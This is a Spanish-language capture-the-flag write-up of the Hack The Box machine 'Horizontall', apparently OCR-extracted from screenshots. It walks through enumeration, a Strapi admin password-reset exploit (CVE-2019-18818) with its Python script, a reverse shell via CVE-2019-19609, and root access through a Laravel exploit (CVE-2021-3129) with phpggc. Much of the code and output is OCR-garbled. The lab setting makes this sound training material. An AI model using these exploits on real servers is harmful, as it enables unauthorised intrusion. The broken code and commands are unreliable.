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O- Introduccion

Horizontall esuna CTF de dificultad facil que podemos encontrar en Hack The Box. En
esta maquina explotaremos varias vulnerabilidades en dos frameworks web. Primero esta
el descubrimiento de una instancia de Strapi, donde abusaré de dos CVE para restablecer
la contrasefia del administrador y luego usaré una vulnerabilidad de inyeccion de
comando autenticada para obtener una Shell. Una vez dentro de la maquina objetivo,
examinaré una instancia de desarrollo de Laravel que se ejecuta solo en Localhost. A
partir de ahi, utilizando otro CVE disponible para Lavarel, realizaremos la elevacion de
privilegios.

1- Enumeracion

1.1. NMAP
Como siempre, comenzamos realizando un escaneo de los servicios abiertos en el target.

sudo nmap -p- --ope -n -—-min-rat -Pn 10.10.11.105 -oG allports
‘up" and times may b I
EDT

35 total ports)

ses 1
EDT for
[ 71 filtered tcp ports (no-response)
ed ports may be rie due to —defeat-rst-ratelimit
RE

Nmap done
EVNETW
kaligkali

Puertos abiertos:

e Puerto 22: SSH = Open SSH 7.6

£L HACKER
(301}



https://hackthebox.eu/

e Puerto 80: HTTP == nginx 1.14.0

También tenemos el nombre del host: horizontal.htb. El proximo paso sera registrar el
nombre del host en el archivo /etc/hosts.

Jhome/kali/Desktop/HackTheBox/horizontall
horizontall.htb 18.10.11.105 Jetc/hosts

Vamos ahora al navegador y buscamos la URL http://horizontall.htb para ver su
contenido.

‘,.,!1onzontan Home Feature About

Build website using HT

It's crafted with the latest trend of
design & coded with all modern
approaches. It's a robust & multi-
dimensional usable template.

Play video

No funcionan ninguno de los enlaces de la web. El formulario de contacto tampoco se
envia.

1.2.  Subdominios
Podemos buscar si existen subdominios. Para ello, vamos a utilizar gobuster.

/home/kali/Desktop/HackTheBox/horizontall
rhos /home/kali/SecLists/Discovery/DNS/subdomains-topimillion-110000.txt http://horizontall.htb/

ristian Mehlmauver (@firefart)

/subdomains-topimillion-110000. txt



http://horizontall.htb/

Tenemos un posible subdominio, api-prod.horizontall.htb. Lo registramos también en el
archivo /etc/hosts.

/home/kali/Desktop/HackTheBox/horizontall
10.10.11.185 api-prod.horizontall.htbff>> fetc/hosts

Si accedemos a la nueva URL, veremos una pagina de bienvenida en blanco.

Welcome to your API

& G O & api-prod.horizontall.htb

Welcome.

Podemos ver que se esta ejecutando en esta pagina, con curl.

/home/kali/Desktop/HackTheBox/horizontall
http://api-prod.horizontall.htb/

2 GMT
set=utf-8
Content-Length
Connection: keep-alive
Vary: Origin
Content-Security-Policy: im c 'self’ ck-a ixed-content
Strict-Transport-Security: 3
X-Frame-Options: SAMEORIGIN
X-XS5-Protection: 1; mode
Last-Modified: Wed,
Cache-Control: E
X-Powered-By: 5

El sitio web esta utilizando el CMS Strapi.

1.3. Directorios
Esta vez vamos a ejecutar gobuster para buscar directorios interesantes en el sitio web.




/home/kali/Desktop/HackTheBox/horizontall
dir -w /home/kali/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://api-prod.horizontall.

eColonial) & Christian Mehlmauer

Url: -prod.horizontall.htb
Method: G

eb-Content/directory-list-low 3 -medium. txt

tion mode

O & api-prod.horizontall.htb/admin/auth/login

72 strapi

Username

John Doe

Password

Forgot your password?

Después de buscar en el codigo fuente y utilizando las herramientas de desarrollador, no
podemos encontrar nada interesante, ni enlaces, ni versiones.

2- Vulnerabilidades del CMS Strapi
Realizando una busqueda en Google de “Strapi exploit”, obtenemos resultados que
pueden ser interesantes. Tenemos dos CVE. El primero, CVE-2019-19609, que es un
RCE y un segundo CVE, CVE-2019-18818 que permite reestablecer la contrasefia de
administrador para Strapi.

También encontramos un resultado que explica como verificar la version de Strapi.

/home,/kali/Desktop/HackTheBox/horizontall
http://api-prod.horizontall.htb/admin/strapiVersion
{"strapiVersi 3.0.0-beta.17.4"}
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Ambos CVE son Utiles para esta version.

2.1. Cambio de contrasefia de administrador
Primero vamos a utilizar el CVE-2019-18818 para cambiar la contrasefia de
administrador.

fhome!kall!ﬂesktnp!HackThean!h izontall
CVE-2019- 18818 Py :dmlnl r htt pi-prod.horizontall.htb elhackeretico
i a ion) be

import requests, sys, json

args=sys.argv

} <admin_email> <url> <new password>".format(args[8]))

new pj ssword = args[3]
5 = reqguests.5ess
version = json.leads(s.get("{}/admin/strapiVersion".format(url)).text)
print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]1))
#anue t password res
jmln-p1uq1n s/users-permissions/auth/reset-password".format(url)}
Hque=t|
prlntl [*1 :ﬂttlng new password.
#Change if fails becouse WAF
on":"passwordl"}
: ":new password}
}addm1najufl_ eset- pdfrword futmatlurl}, json=exploit)

print("[*] Res ")
print(str(r.content))

El exploit obtiene la version, luego envia una peticion POST a /admin/plugins/user-
permissions/auth/reset-password, para a continuacion volver a enviar otra peticion POST
a /admin/auth/reset-password.

Ahora que tenemos nombre de administrador y con la contrasefia generada vamos a iniciar
sesion en el panel de control del CMS.

B
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Homepage

« > C @ 9, horizontall.htb,

73 strapi

Hi Admin!

We hope you are making progress on your project... Feel free to read the latest new
about Strapi. We are giving our best to improve the product based on your feedback

» SEE MORE ON THE BLOG

E Read the documentation Code examples

2.2.RCE

Ahora vamos a ejecutar el CVE-2019-19609, para lo cual debiamos estar autenticados.
Para ello vamos a ejecutar el comando curl podemos encontrar aqui.

/home/kali/Desktop/HackTheBox/horizontall
P(

Y al mismo tiempo, debemos habilitar un oyente.

/home/kali
9@81
listening on [any] 9001
connect to [1€ 1 from (UNKNOWN) [19.18.11.185] 51742
/bin/sh: ®: can't access tty; job control turned off
$ id
uid=1001(strapi) gid=1@01(strapi) groups=1001(strapi)

$ W

$ id
uid=1901(strapi) gid=1001(strapi) groups=1001(strapi)

Podemos comprobar que ya hemos realizado la conexion reversa con la maquina objetivo.

El siguiente paso sera localizar la flag user.txt
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https://bittherapy.net/post/strapi-framework-remote-code-execution/

strapiphorizontall:/% cd home
cd home
strapighorizontall:/home$ 1s

:/home% cd devoloper

5
C

: devoloper: No such file or directory
DlthIlLﬂntﬂll Jhome%$ cd developer
developer
rapighorizontall:/home/developer$ 1s

[ T T ¥ O e
r+ =it o

—
v

composer-setup.php myproj
strapiphorizontall: /home/
cat user.txt

i

api@horizontall:/home/developer$ |

3- Elevacion de privilegios
En el mismo directorio donde encontramos la flag user.txt hay una carpeta a myproject a
la cual no podemos acceder con los privilegios que tenemos actualmente.

rapi@horizontall: /home/developer$ 1s

’1 composer-setup.php
i ’1 myproject
3 12:17 user.txt

La presencia de un archivo composer-setup.php puede indicar que existe algun sitio web
PHP aqui.

Otra comprobacion que podemos realizar son los puertos internos que esté ejecutando la
maquina victima. Para ello, ejecutamos lo siguiente:

orizontall:/home/developer$ netstat -tnlp

Address State PID/Program name
LISTEN
LISTEN
LISTEN 874/node /usr/bin/
LISTEN
LISTEN
LISTEN

Tenemos los siguientes servicios ejecutandose de manera interna en la maquina victima.

e Puerto 80: Corresponde al sitio web
e Puerto 1337: NodelS

e Puerto 3306: My SQL

e Puerto 8000: ?

s
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Puede haber algo interesante en el puerto 8000.

Ejecutamos el siguiente comando en la méquina victima:

Después de leer la informacion devuelta por el comando anterior, vemos esta informacion
que puede ser interesante.

Laravel v& (PHP v7.4.18)

Se esta ejecutando Lavarel v8 (PHP V7.4.18) en este servicio. Vamos a realizar una
busqueda en Google para ver si encontramos algun exploit. Vamos a probar este CVE-
2021-3129

Descargamos el contenido y lo enviamos a la maquina victima utilizando un servidor con
Python.

'exploit.py

723K=0.004s

Jhome/kali/Desktop/HackTheBox/horizontall
http.server 9000
Serving HTTP on @ @ port 9000 (http://9.0.0.8:9000/)

ithub.com/ambionics/phpggc.git/’: Could not resolve host: github.com

not found.
convert log
is no output
ar logs

Pero no funciona porque esta maquina no tiene acceso a Internet y para la ejecucién de
este exploit.py necesita tener acceso a un repositorio de GitHub. Solucién, descargamos
el repositorio en nuestra maquina.



https://github.com/nth347/CVE-2021-3129_exploit
https://github.com/nth347/CVE-2021-3129_exploit

/home/kali/Desktop/HackTheBox/horizontall
clone https: ithub.com/ambionics/phpg it/

into 'php
Enumerati
Counting
Compr

/home/kali/Desktop/HackTheBox/horizontall
soc.tar phpgge

/HEAD

El siguiente paso sera enviar este archivo comprimido a la maquina victima utilizando el 10
mismo servidor Python que creamos anteriormente.

Descomprimimos este archivo.




Una vez hemos descomprimido el archivo phpggc.tar, volvemos a ejecutar el mismo

comando anterior, a ver si ahora que el repositorio que antes no podia descargar esta
presente en la maquina, funciona.

py http: calhost: MOnolog/RCE1 "id"
logs

[+] PHAR deserialized. Exploited
uid=0(root) gid=08(root) groups=8(root)
[i] Trying to clear logs

[+] Logs cleared

s 1

Parece que, si funciona y, ademas, devuelve que tenemos privilegios root. Ya que para la

prueba hemos ejecutado el comando id, vamos a probar si podemos acceder a la flag
root.txt de esta misma manera.

$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"
{ Trying to clear logs
Logs cleared
PHPGGC found. Generating payload and deploy it to the targe
{ Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

abb4

] Trying to
Logs cleared

Ya tenemos la flag que nos faltaba y otra maquina resuelta.




